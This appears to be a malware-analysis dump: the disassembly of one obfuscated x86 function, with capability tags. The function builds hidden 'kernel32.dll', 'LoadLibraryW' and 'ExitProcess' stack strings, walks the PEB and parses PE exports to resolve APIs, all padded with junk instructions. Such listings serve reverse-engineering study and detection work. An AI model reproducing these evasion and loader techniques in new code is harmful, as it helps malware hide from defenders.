Function at 0x100c3eb2
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
and ebx, 0x27b9
or ebx, 0x181ec
sub ebx, 0x8ee6
pop ebx
mov ecx, dword [ebp - 0x3b8]
mov dword [ebp - 0x4d0], ecx
jmp 0x100c38b2
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push edi
add edi, 0x8cc7
and edi, 0x6166
or edi, 0x33c1
pop edi
push edi
push ecx
add esp, 4
and edi, 0x48bd
jmp 0x100c38da
jmp 0x100c38e3
pop edi
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3b8]
cmp eax, 0xffffffff
jb 0x100c392c
push ecx
push edx
add esp, 4
jmp 0x100c38ff
pop ecx
push esi
push edi
add esp, 4
and esi, 0x4853
add esi, 0xd50a
call 0x100c391d
add byte [eax + 0x4c], al
aas
dec edx
aas
cmp al, byte [ebx - 0x197efb3c]
sbb al, 0x27
add byte [eax], al
pop esi
jmp 0x100c3b5a
mov dword [ebp - 0xc34], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa8c], ecx
push ecx
push ebx
add esp, 4
sub ecx, 0x185d8
pop ecx
push ecx
push esi
add esp, 4
and ecx, 0xf56b
jmp 0x100c395e
call 0x100c396a
add byte [esi], bh
xor edi, dword [ecx + edi]
xor eax, 0x4c48334
xor ecx, 0x3379
pop ecx
mov edx, dword [ebp - 0x154c]
mov dword [ebp - 0xa88], edx
mov dword [ebp - 0xc38], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x154c]
jne 0x100c39db
push edx
or edx, 0x11b8e
add edx, 0x8241
pop edx
push ecx
push ebx
add esp, 4
jmp 0x100c39b3
jmp 0x100c39bc
pop ecx
push ecx
push ebx
add esp, 4
jmp 0x100c39c9
pop ecx
mov ecx, dword [ebp - 0xc38]
mov dword [ebp - 0x1554], ecx
jmp 0x100c3b0c
cmp dword [ebp - 0xc34], 0
jle 0x100c3b00
push ebx
or ebx, 0x3b3b
pop ebx
push esi
push edx
add esp, 4
jmp 0x100c39fb
call 0x100c3a08
add byte [eax + 0x38], al
aas
cmp eax, 0x833b3248
les eax, [ecx + eax*4]
out 0xaa, al
xor eax, dword [eax]
add byte [esi + 0x52], bl
and edx, 0x423a
pop edx
mov edx, dword [ebp - 0xa8c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa88]
movzx edx, byte [ecx]
cmp eax, edx
je 0x100c3a9c
push edi
call 0x100c3a40
add byte [ecx], bh
dec edi
inc edx
aas
inc esp
aas
dec esi
inc ecx
inc edi
add esp, 4
and edi, 0x1266c
or edi, 0x168f0
and edi, 0x16ec7
pop edi
push eax
push ecx
add esp, 4
xor eax, 0xf484
pop eax
mov eax, dword [ebp - 0xa8c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa88]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x100c3a84
mov dword [ebp - 0x1550], 1
jmp 0x100c3a8e
mov dword [ebp - 0x1550], 0xffffffff
mov ecx, dword [ebp - 0x1550]
mov dword [ebp - 0xc38], ecx
jmp 0x100c3b00
push edx
and edx, 0x2841
sub edx, 0xc633
pop edx
push ebx
push ecx
add esp, 4
call 0x100c3abe
add byte [ecx + 0x4d], al
inc ebx
dec edx
xor dh, byte [edi]
inc esi
xor eax, 0x4c4834a
pop ebx
push ebx
push ebx
add esp, 4
or ebx, 0x5304
pop ebx
mov edx, dword [ebp - 0xc34]
sub edx, 1
mov dword [ebp - 0xc34], edx
mov eax, dword [ebp - 0xa8c]
add eax, 1
mov dword [ebp - 0xa8c], eax
mov ecx, dword [ebp - 0xa88]
add ecx, 1
mov dword [ebp - 0xa88], ecx
jmp 0x100c39db
mov edx, dword [ebp - 0xc38]
mov dword [ebp - 0x1554], edx
cmp dword [ebp - 0x1554], 0
jne 0x100c3b55
push ebx
add ebx, 0x85e8
xor ebx, 0xf82b
sub ebx, 0xac34
pop ebx
push edx
push edi
add esp, 4
xor edx, 0x11857
or edx, 0xb243
sub edx, 0x105a6
and edx, 0x11169
pop edx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x3cc], eax
jmp 0x100c3b96
jmp 0x100c38a3
push eax
jmp 0x100c3b60
or eax, 0x90eb
pop eax
push esi
jmp 0x100c3b6e
sub esi, 0x7032
sub esi, 0x10b88
call 0x100c3b88
add byte [esi], dh
inc esp
xor al, 0x35
xor edi, dword [edx]
inc esp
xor eax, 0x5e04c483
mov dword [ebp - 0x3cc], 0
push eax
xor eax, 0x15f2d
pop eax
push eax
jmp 0x100c3ba7
and eax, 0x11183
pop eax
push edx
call 0x100c3bbe
add byte [ebx + edi], bh
cmp al, 0x46
xor eax, 0x36493b50
add esp, 4
sub edx, 0xe172
pop edx
push esi
sub esi, 0x5725
xor esi, 0x406f
add esi, 0x14cd1
pop esi
push esi
push esi
add esp, 4
add esi, 0x10cc7
sub esi, 0x2144
xor esi, 0x13105
xor esi, 0xddb2
pop esi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb8c]
mov dword [ebp - 0x1558], eax
push esi
call 0x100c3c1e
add byte [eax + 0x35], al
dec ebp
inc esi
cmp cl, byte [esi + 0x45]
xor al, byte [ebx - 0x97efb3c]
fldcw word [ecx + eax]
add byte [ecx + 0x5ef4ee], al
add al, ch
or eax, dword [eax]
add byte [eax], al
add byte [esi], bh
inc edi
dec ebp
dec ebp
push eax
dec esi
dec edi
cmp eax, 0xc4834240
add al, 0x5e
mov dword [ebp - 0x1e34], 0xffffffff
push esi
push esi
add esp, 4
and esi, 0x1b8e
pop esi
push eax
push esi
add esp, 4
sub eax, 0xec9b
or eax, 0xdc5c
sub eax, 0x66ab
or eax, 0x3101
pop eax
push ebx
add ebx, 0x4ccc
pop ebx
mov ecx, dword [ebp - 0x3b8]
mov dword [ebp - 0x4d4], ecx
jmp 0x100c3c9a
mov edx, dword [ebp - 0x4d4]
add edx, 1
mov dword [ebp - 0x4d4], edx
push ebx
push ebx
add esp, 4
jmp 0x100c3ca7
add ebx, 0x431f
and ebx, 0x7a57
and ebx, 0x16af
pop ebx
push esi
push esi
add esp, 4
and esi, 0xed93
jmp 0x100c3ccb
pop esi
mov eax, dword [ebp - 0x4d4]
sub eax, dword [ebp - 0x3b8]
cmp eax, 0xffffffff
jb 0x100c3d14
push edx
push esi
add esp, 4
and edx, 0x4af9
or edx, 0x786c
sub edx, 0x6d3b
xor edx, 0x9cad
pop edx
push edi
sub edi, 0x1067
or edi, 0x15d4d
and edi, 0x13d3d
pop edi
jmp 0x100c3f42
mov dword [ebp - 0xc3c], 7
mov ecx, dword [ebp - 0x4d4]
mov dword [ebp - 0xa84], ecx
push esi
push esi
add esp, 4
xor esi, 0x16b12
xor esi, 0x8779
sub esi, 0x5659
pop esi
push esi
push esi
add esp, 4
sub esi, 0x5790
and esi, 0xc0ab
pop esi
push esi
xor esi, 0xaad2
pop esi
mov edx, dword [ebp - 0x1558]
mov dword [ebp - 0xa80], edx
mov dword [ebp - 0xc40], 0
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0x1558]
jne 0x100c3dc3
push esi
sub esi, 0x17d20
xor esi, 0x2835
call 0x100c3d9c
add byte [edi], bh
cmp eax, 0x353a3d3d
inc esi
cmp al, 0x3c
add esp, 4
pop esi
push edx
push eax
add esp, 4
xor edx, 0xf423
and edx, 0xe42d
pop edx
mov ecx, dword [ebp - 0xc40]
mov dword [ebp - 0x1560], ecx
jmp 0x100c3ef4
cmp dword [ebp - 0xc3c], 0
jle 0x100c3ee8
push edx
push ebx
add esp, 4
call 0x100c3de5
add byte [edi], bh
dec ebx
xor edx, dword [eax + 0x50]
cmp dword [eax], edi
inc edx
cmp eax, 0x4c4834d
xor edx, 0x15b
pop edx
push ecx
sub ecx, 0x8c5e
jmp 0x100c3dfb
sub ecx, 0x1556b
pop ecx
mov edx, dword [ebp - 0xa84]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa80]
movzx edx, byte [ecx]
cmp eax, edx
je 0x100c3e84
push edi
push esi
add esp, 4
sub edi, 0x9600
sub edi, 0x7060
or edi, 0x62bd
add edi, 0xdc2e
pop edi
push eax
or eax, 0x1182d
sub eax, 0x4be9
jmp 0x100c3e49
pop eax
mov eax, dword [ebp - 0xa84]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa80]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x100c3e6c
mov dword [ebp - 0x155c], 1
jmp 0x100c3e76
mov dword [ebp - 0x155c], 0xffffffff
mov ecx, dword [ebp - 0x155c]
mov dword [ebp - 0xc40], ecx
jmp 0x100c3ee8
push eax
and eax, 0xead1
and eax, 0x9b6d
call 0x100c3ea1
add byte [edi], dh
dec ebp
inc ebp
inc esi
xor eax, 0x3a50464e
inc ebx
add esp, 4
call 0x100c3eb2
add byte [ecx], bh
dec ecx
cmp byte [edx + 0x43], al
dec ebx
cmp eax, 0x4c48336
pop eax
mov edx, dword [ebp - 0xc3c]
sub edx, 1
mov dword [ebp - 0xc3c], edx
mov eax, dword [ebp - 0xa84]
add eax, 1
mov dword [ebp - 0xa84], eax
mov ecx, dword [ebp - 0xa80]
add ecx, 1
mov dword [ebp - 0xa80], ecx
jmp 0x100c3dc3
mov edx, dword [ebp - 0xc40]
mov dword [ebp - 0x1560], edx
cmp dword [ebp - 0x1560], 0
jne 0x100c3f3d
push eax
push ebx
add esp, 4
add eax, 0x155c5
and eax, 0x1785a
pop eax
push ebx
push ebx
add esp, 4
jmp 0x100c3f1c
sub ebx, 0xc62
xor ebx, 0x14fb0
and ebx, 0x25bd
pop ebx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0xa7c], eax
jmp 0x100c3f7e
jmp 0x100c3c8b
push ecx
or ecx, 0x12595
add ecx, 0x41d0
and ecx, 0x1a43
pop ecx
push edx
push edi
add esp, 4
and edx, 0x79d5
xor edx, 0xca77
sub edx, 0x89a8
sub edx, 0x6a4a
pop edx
mov dword [ebp - 0xa7c], 0
push ebx
or ebx, 0x181b9
sub ebx, 0x9d4b
xor ebx, 0xb17a
pop ebx
push edx
push edx
add esp, 4
sub edx, 0x9cc0
sub edx, 0x17c7b
pop edx
push ecx
push edx
add esp, 4
add ecx, 0xc49a
pop ecx
mov byte [ebp - 0x854], 0x45
mov byte [ebp - 0x853], 0x78
mov byte [ebp - 0x852], 0x69
mov byte [ebp - 0x851], 0x74
mov byte [ebp - 0x850], 0x50
mov byte [ebp - 0x84f], 0x72
mov byte [ebp - 0x84e], 0x6f
mov byte [ebp - 0x84d], 0x63
mov byte [ebp - 0x84c], 0x65
mov byte [ebp - 0x84b], 0x73
mov byte [ebp - 0x84a], 0x73
mov byte [ebp - 0x849], 0
push ecx
push esi
add esp, 4
or ecx, 0x9052
pop ecx
push edx
push ecx
add esp, 4
xor edx, 0x16b3e
pop edx
push edx
or edx, 0xa9c4
add edx, 0x9625
add edx, 0x17184
add edx, 0x3a32
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1670], cx
mov edx, 0x65
mov word [ebp - 0x166e], dx
mov eax, 0x72
mov word [ebp - 0x166c], ax
mov ecx, 0x6e
mov word [ebp - 0x166a], cx
mov edx, 0x65
mov word [ebp - 0x1668], dx
mov eax, 0x6c
mov word [ebp - 0x1666], ax
mov ecx, 0x33
mov word [ebp - 0x1664], cx
mov edx, 0x32
mov word [ebp - 0x1662], dx
mov eax, 0x2e
mov word [ebp - 0x1660], ax
mov ecx, 0x64
mov word [ebp - 0x165e], cx
mov edx, 0x6c
mov word [ebp - 0x165c], dx
mov eax, 0x6c
mov word [ebp - 0x165a], ax
xor ecx, ecx
mov word [ebp - 0x1658], cx
push ebx
jmp 0x100c40d7
and ebx, 0xf192
pop ebx
push esi
sub esi, 0x2243
pop esi
push ebx
push esi
add esp, 4
xor ebx, 0x11286
or ebx, 0x96d6
jmp 0x100c4100
pop ebx
push ebx
push edx
add esp, 4
jmp 0x100c410c
or ebx, 0x954e
call 0x100c4121
add byte [edi + eax*2 + 0x39], cl
inc edx
push eax
dec edx
xor eax, dword [edi + 0x46]
add esp, 4
add ebx, 0xbc21
pop ebx
push ecx
add ecx, 0xa816
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1d60], edx
mov eax, dword [ebp - 0x1d60]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1d64], ecx
mov edx, dword [ebp - 0x1d64]
mov dword [ebp - 0x1564], edx
push eax
call 0x100c416b
add byte [ecx + 0x41], al
dec edx
dec ebx
cmp esi, dword [edx]
dec ebx
xor eax, 0x4c48348
call 0x100c417d
add byte [edx + 0x4f], cl
xor eax, 0x38504244
cmp al, byte [esi - 0x7d]
les eax, [ecx + eax*4]
enter 0x856, 1
add byte [ecx + 0x11667e8], al
add byte [eax - 0x7d], bl
mov ebp, 0xffffea9c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2bc], 0
jmp 0x100c4461
push ecx
add ecx, 0x3f04
call 0x100c4475
add byte [edi], dh
xor eax, 0x4b333a4a
cmp dword [ebx - 0x367efb3c], eax
or al, 0x41
add dword [eax], eax
pop ecx
push esi
jmp 0x100c4486
sub esi, 0xabfe
xor esi, 0xa03c
pop esi
cmp dword [ebp - 0x2bc], 0
jne 0x100c4d97
mov edx, 0x6b
mov word [ebp - 0x16ac], dx
mov eax, 0x65
mov word [ebp - 0x16aa], ax
mov ecx, 0x72
mov word [ebp - 0x16a8], cx
mov edx, 0x6e
mov word [ebp - 0x16a6], dx
mov eax, 0x65
mov word [ebp - 0x16a4], ax
mov ecx, 0x6c
mov word [ebp - 0x16a2], cx
mov edx, 0x33
mov word [ebp - 0x16a0], dx
mov eax, 0x32
mov word [ebp - 0x169e], ax
mov ecx, 0x2e
mov word [ebp - 0x169c], cx
mov edx, 0x64
mov word [ebp - 0x169a], dx
mov eax, 0x6c
mov word [ebp - 0x1698], ax
mov ecx, 0x6c
mov word [ebp - 0x1696], cx
xor edx, edx
mov word [ebp - 0x1694], dx
push ebx
xor ebx, 0x868e
jmp 0x100c4546
pop ebx
push edi
push ebx
add esp, 4
sub edi, 0x15750
add edi, 0x166e7
sub edi, 0x32a6
pop edi
push eax
push edx
add esp, 4
xor eax, 0x1526a
pop eax
mov byte [ebp - 0x870], 0x4c
mov byte [ebp - 0x86f], 0x6f
mov byte [ebp - 0x86e], 0x61
mov byte [ebp - 0x86d], 0x64
mov byte [ebp - 0x86c], 0x4c
mov byte [ebp - 0x86b], 0x69
mov byte [ebp - 0x86a], 0x62
mov byte [ebp - 0x869], 0x72
mov byte [ebp - 0x868], 0x61
mov byte [ebp - 0x867], 0x72
mov byte [ebp - 0x866], 0x79
mov byte [ebp - 0x865], 0x57
mov byte [ebp - 0x864], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1d68], eax
mov ecx, dword [ebp - 0x1d68]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1d6c], edx
mov eax, dword [ebp - 0x1d6c]
mov dword [ebp - 0x1570], eax
push ecx
push ecx
add esp, 4
or ecx, 0x5a44
add ecx, 0xaf85
pop ecx
push esi
sub esi, 0x889b
pop esi
push ecx
push ebx
add esp, 4
or ecx, 0x13b19
xor ecx, 0xe191
and ecx, 0x4718
pop ecx
cmp dword [ebp - 0x1570], 0
jne 0x100c4637
mov dword [ebp - 0x73c], 0
jmp 0x100c48de
mov ecx, dword [ebp - 0x1570]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc58], eax
push eax
push edi
add esp, 4
call 0x100c465e
add byte [ecx], bh
inc esp
push eax
xor al, 0x4d
dec eax
cmp cl, byte [eax + 0x4b]
inc ebx
add esp, 4
pop eax
push edi
push ecx
add esp, 4
jmp 0x100c466c
and edi, 0x31a1
pop edi
push esi
sub esi, 0x1600
pop esi
cmp dword [ebp - 0xc58], 0
jne 0x100c4693
mov dword [ebp - 0x73c], 0
jmp 0x100c48de
mov ecx, dword [ebp - 0xc58]
mov dword [ebp - 0x4dc], ecx
push esi
sub esi, 0xd033
pop esi
push ecx
and ecx, 0x4ef8
sub ecx, 0x14ef7
pop ecx
push esi
xor esi, 0x10493
pop esi
push ebx
or ebx, 0x4b65
or ebx, 0x712b
and ebx, 0xb990
pop ebx
lea edx, [ebp - 0x16ac]
mov dword [ebp - 0xc54], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc50], ecx
xor edx, edx
mov word [ebp - 0x1c8], dx
xor eax, eax
mov word [ebp - 0x2c], ax
push edi
push edi
add esp, 4
xor edi, 0x25ee
jmp 0x100c470e
jmp 0x100c4714
pop edi
push edi
push esi
add esp, 4
or edi, 0x1325c
sub edi, 0x83e9
xor edi, 0x7361
pop edi
mov ecx, dword [ebp - 0xc50]
mov dx, word [ecx]
mov word [ebp - 0xfea], dx
mov eax, dword [ebp - 0xc50]
add eax, 2
mov dword [ebp - 0xc50], eax
mov cx, word [ebp - 0xfea]
mov word [ebp - 0x1c8], cx
mov edx, dword [ebp - 0xc54]
mov ax, word [edx]
mov word [ebp - 0xfec], ax
mov ecx, dword [ebp - 0xc54]
add ecx, 2
mov dword [ebp - 0xc54], ecx
mov dx, word [ebp - 0xfec]
mov word [ebp - 0x2c], dx
push esi
push edx
add esp, 4
xor esi, 0x12cae
and esi, 0x8340
sub esi, 0x150f
xor esi, 0x4c77
pop esi
push edx
and edx, 0x859c
or edx, 0x16faf
xor edx, 0x81da
pop edx
movzx eax, word [ebp - 0x2c]
test eax, eax
jne 0x100c47d3
movzx ecx, word [ebp - 0x1c8]
movzx edx, word [ebp - 0x2c]
sub ecx, edx
mov dword [ebp - 0x1578], ecx
jmp 0x100c482d
movzx eax, word [ebp - 0x1c8]
movzx ecx, word [ebp - 0x2c]
cmp eax, ecx
je 0x100c46fb
movzx edx, word [ebp - 0x1c8]
xor edx, 0x20
movzx eax, word [ebp - 0x2c]
cmp edx, eax
je 0x100c46fb
movzx ecx, word [ebp - 0x1c8]
movzx edx, word [ebp - 0x2c]
cmp ecx, edx
jge 0x100c4817
mov dword [ebp - 0x1574], 0xffffffff
jmp 0x100c4821
mov dword [ebp - 0x1574], 1
mov eax, dword [ebp - 0x1574]
mov dword [ebp - 0x1578], eax
cmp dword [ebp - 0x1578], 0
jne 0x100c4876
push edx
sub edx, 0x1618e
call 0x100c4849
add byte [ebx], bh
xor eax, dword ds:[ebp + 0x3e]
dec edx
add esp, 4
or edx, 0xc6e1
jmp 0x100c4859
pop edx
push eax
xor eax, 0x7169
and eax, 0xd217
pop eax
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x73c], ecx
jmp 0x100c48de
push ecx
xor ecx, 0x117b5
call 0x100c488b
add byte [eax + 0x4c], cl
inc ecx
aaa
xor ecx, dword [edx + 0x3c]
cmp eax, dword [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
xor eax, 0x35365050
cmp dword [ebx], esi
inc ebp
add esp, 4
pop ecx
push edi
or edi, 0x1510e
pop edi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc58]
je 0x100c48d4
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x100c469f
mov dword [ebp - 0x73c], 0
push ecx
sub ecx, 0x7f66
and ecx, 0x11d95
add ecx, 0x245b
sub ecx, 0x166d7
pop ecx
push edi
push ebx
add esp, 4
sub edi, 0x14aff
xor edi, 0xe2d9
sub edi, 0x71d0
pop edi
cmp dword [ebp - 0x73c], 0
jne 0x100c495a
push ebx
push edx
add esp, 4
and ebx, 0x3d40
add ebx, 0x8bde
pop ebx
push edx
jmp 0x100c4934
jmp 0x100c493b
or edx, 0xc13b
jmp 0x100c494a
pop edx
mov dword [ebp - 0x788], 0
jmp 0x100c5481
push esi
or esi, 0x8524
pop esi
push eax
call 0x100c4970
add byte [edx + 0x44], cl
inc ebx
cmp dword [edx + 0x48], eax
aaa
add esp, 4
xor eax, 0x157a6
pop eax
push esi
push eax
add esp, 4
add esi, 0xa30d
or esi, 0xf210
pop esi
mov eax, dword [ebp - 0x73c]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x74c], 0
mov edx, dword [ebp - 0x32c]
mov dword [ebp - 0x157c], edx
cmp dword [ebp - 0x157c], 0
jne 0x100c49cb
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x3c0], eax
jmp 0x100c4cbc
mov ecx, dword [ebp - 0x157c]
mov edx, dword [ebp - 0x32c]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15a0], edx
jne 0x100c49f3
mov eax, dword [ebp - 0x74c]
mov dword [ebp - 0x3c0], eax
jmp 0x100c4cbc
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15a0]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x15a4], ecx
cmp dword [ebp - 0x15a4], 0
jne 0x100c4a25
mov edx, dword [ebp - 0x74c]
mov dword [ebp - 0x3c0], edx
jmp 0x100c4cbc
mov eax, dword [ebp - 0x32c]
add eax, dword [ebp - 0x15a4]
mov dword [ebp - 0x740], eax
jne 0x100c4a4a
mov ecx, dword [ebp - 0x74c]
mov dword [ebp - 0x3c0], ecx
jmp 0x100c4cbc
mov edx, dword [ebp - 0x740]
mov eax, dword [ebp - 0x32c]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1d70], eax
mov ecx, dword [ebp - 0x740]
mov edx, dword [ebp - 0x32c]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1d74], edx
mov eax, dword [ebp - 0x740]
mov ecx, dword [ebp - 0x32c]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x1b3c], ecx
mov dword [ebp - 0x744], 0
jmp 0x100c4aa4
mov edx, dword [ebp - 0x744]
add edx, 1
mov dword [ebp - 0x744], edx
mov eax, dword [ebp - 0x740]
mov ecx, dword [ebp - 0x744]
cmp ecx, dword [eax + 0x18]
jae 0x100c4cb0
mov edx, dword [ebp - 0x744]
mov eax, dword [ebp - 0x1d70]
mov ecx, dword [ebp - 0x32c]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x748], ecx
mov edx, dword [ebp - 0x744]
mov eax, dword [ebp - 0x1d74]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x1b3c]
mov eax, dword [ebp - 0x32c]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1d78], eax
mov dword [ebp - 0x150], 0
jmp 0x100c4b14
mov ecx, dword [ebp - 0x150]
add ecx, 1
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x748]
add edx, dword [ebp - 0x150]
movsx eax, byte [edx]
test eax, eax
je 0x100c4bc6
mov ecx, dword [ebp - 0x150]
movsx edx, byte [ebp + ecx - 0x870]
test edx, edx
je 0x100c4bc6
push esi
push eax
add esp, 4
sub esi, 0x15886
sub esi, 0xdb20
xor esi, 0x4a9f
xor esi, 0x659c
pop esi
push edx
or edx, 0xb8a1
or edx, 0x15137
or edx, 0x15d7f
pop edx
mov eax, dword [ebp - 0x748]
add eax, dword [ebp - 0x150]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x150]
movsx eax, byte [ebp + edx - 0x870]
cmp ecx, eax
je 0x100c4bb8
mov ecx, dword [ebp - 0x748]
add ecx, dword [ebp - 0x150]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x150]
movsx ecx, byte [ebp + eax - 0x870]
cmp edx, ecx
jne 0x100c4bbf
jmp 0x100c4b05
jmp 0x100c4bc6
push edi
push ecx
add esp, 4
xor edi, 0x52f8
pop edi
push esi
push edi
add esp, 4
and esi, 0x276c
and esi, 0x6a37
and esi, 0x304f
pop esi
push eax
add eax, 0x4dea
sub eax, 0x88b2
pop eax
mov edx, dword [ebp - 0x748]
add edx, dword [ebp - 0x150]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x150]
movsx edx, byte [ebp + ecx - 0x870]
cmp eax, edx
jne 0x100c4c25
mov dword [ebp - 0xc5c], 0
jmp 0x100c4c94
push edi
push edx
add esp, 4
xor edi, 0xad01
xor edi, 0x2c07
and edi, 0xb59f
pop edi
push eax
call 0x100c4c4a
add byte [eax + 0x47], cl
cmp al, 0x4b
dec edx
inc esp
add esp, 4
jmp 0x100c4c56
pop eax
mov eax, dword [ebp - 0x748]
add eax, dword [ebp - 0x150]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x150]
movsx eax, byte [ebp + edx - 0x870]
or eax, 0x20
cmp ecx, eax
jge 0x100c4c8a
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x100c4c94
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x100c4cab
mov ecx, dword [ebp - 0x1d78]
mov dword [ebp - 0x3c0], ecx
jmp 0x100c4cbc
jmp 0x100c4a95
mov edx, dword [ebp - 0x74c]
mov dword [ebp - 0x3c0], edx
cmp dword [ebp - 0x3c0], 0
je 0x100c4d97
push eax
jmp 0x100c4ccf
pop eax
push ecx
push edx
add esp, 4
xor ecx, 0x1062c
or ecx, 0xdff6
add ecx, 0xe336
call 0x100c4cf7
add byte [0x3533413d], dh
cmp byte [eax + edx*2 + 0x35], al
cmp eax, dword [ebx - 0x74a6fb3c]
test dword [eax - 4], eax
invalid
push ebx
push ebx
add esp, 4
sub ebx, 0xa4ff
or ebx, 0x17cf6
sub ebx, 0xbc13
pop ebx
push eax
jmp 0x100c4db6
or eax, 0x8c35
add eax, 0x162bd
add eax, 0x7aa6
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1d84], eax
mov ecx, dword [ebp - 0x1d84]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1d88], edx
mov eax, dword [ebp - 0x1d88]
mov dword [ebp - 0x15a8], eax
push esi
push ebx
add esp, 4
add esi, 0x14b8f
jmp 0x100c4e01
pop esi
push esi
push edi
add esp, 4
xor esi, 0x144a3
sub esi, 0x176a4
pop esi
push esi
or esi, 0xfc39
and esi, 0x2675
pop esi
cmp dword [ebp - 0x15a8], 0
jne 0x100c4e3a
mov dword [ebp - 0x2bc], 0
jmp 0x100c50e1
mov ecx, dword [ebp - 0x15a8]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc68], eax
push ebx
or ebx, 0xb023
and ebx, 0x15513
pop ebx
push edi
add edi, 0x121a2
sub edi, 0xde91
pop edi
push ecx
jmp 0x100c4e71
or ecx, 0x765e
and ecx, 0xecb8
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x100c4e96
mov dword [ebp - 0x2bc], 0
jmp 0x100c50e1
mov ecx, dword [ebp - 0xc68]
mov dword [ebp - 0x4e0], ecx
push ecx
push edx
add esp, 4
jmp 0x100c4eaf
add ecx, 0x14e7a
xor ecx, 0xa7b0
and ecx, 0x1656f
pop ecx
push edx
push edi
add esp, 4
add edx, 0xce4e
add edx, 0x1851c
pop edx
lea edx, [ebp - 0x1670]
mov dword [ebp - 0xc64], edx
mov eax, dword [ebp - 0x4e0]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc60], ecx
xor edx, edx
mov word [ebp - 0x1cc], dx
xor eax, eax
mov word [ebp - 0x30], ax
push esi
call 0x100c4f0e
add byte [edx + esi], bh
dec esp
xor al, 0x32
dec ebp
inc ebx
dec ecx
inc esp
add esp, 4
and esi, 0xa02a
sub esi, 0x129bf
sub esi, 0x5afe
pop esi
push ecx
push ecx
add esp, 4
add ecx, 0x144db
pop ecx
mov ecx, dword [ebp - 0xc60]
mov dx, word [ecx]
mov word [ebp - 0xfee], dx
mov eax, dword [ebp - 0xc60]
add eax, 2
mov dword [ebp - 0xc60], eax
mov cx, word [ebp - 0xfee]
mov word [ebp - 0x1cc], cx
mov edx, dword [ebp - 0xc64]
mov ax, word [edx]
mov word [ebp - 0xff0], ax
mov ecx, dword [ebp - 0xc64]
add ecx, 2
mov dword [ebp - 0xc64], ecx
mov dx, word [ebp - 0xff0]
mov word [ebp - 0x30], dx
push ebx
push esi
add esp, 4
xor ebx, 0x78c7
or ebx, 0xdfd1
call 0x100c4fa7
add byte [edx], bh
xor ecx, dword [edi + 0x33]
dec ebp
dec esp
xor edi, dword [ecx]
push eax
add esp, 4
pop ebx
push ecx
xor ecx, 0x6ab8
xor ecx, 0x4172
pop ecx
movzx eax, word [ebp - 0x30]
test eax, eax
jne 0x100c4fd6
movzx ecx, word [ebp - 0x1cc]
movzx edx, word [ebp - 0x30]
sub ecx, edx
mov dword [ebp - 0x15b4], ecx
jmp 0x100c5030
movzx eax, word [ebp - 0x1cc]
movzx ecx, word [ebp - 0x30]
cmp eax, ecx
je 0x100c4efe
movzx edx, word [ebp - 0x1cc]
xor edx, 0x20
movzx eax, word [ebp - 0x30]
cmp edx, eax
je 0x100c4efe
movzx ecx, word [ebp - 0x1cc]
movzx edx, word [ebp - 0x30]
cmp ecx, edx
jge 0x100c501a
mov dword [ebp - 0x15b0], 0xffffffff
jmp 0x100c5024
mov dword [ebp - 0x15b0], 1
mov eax, dword [ebp - 0x15b0]
mov dword [ebp - 0x15b4], eax
cmp dword [ebp - 0x15b4], 0
jne 0x100c5079
push ebx
push eax
add esp, 4
or ebx, 0x1374d
sub ebx, 0xe4b3
xor ebx, 0x1792d
xor ebx, 0xd424
pop ebx
push eax
push edi
add esp, 4
and eax, 0xf279
pop eax
push eax
or eax, 0x789b
pop eax
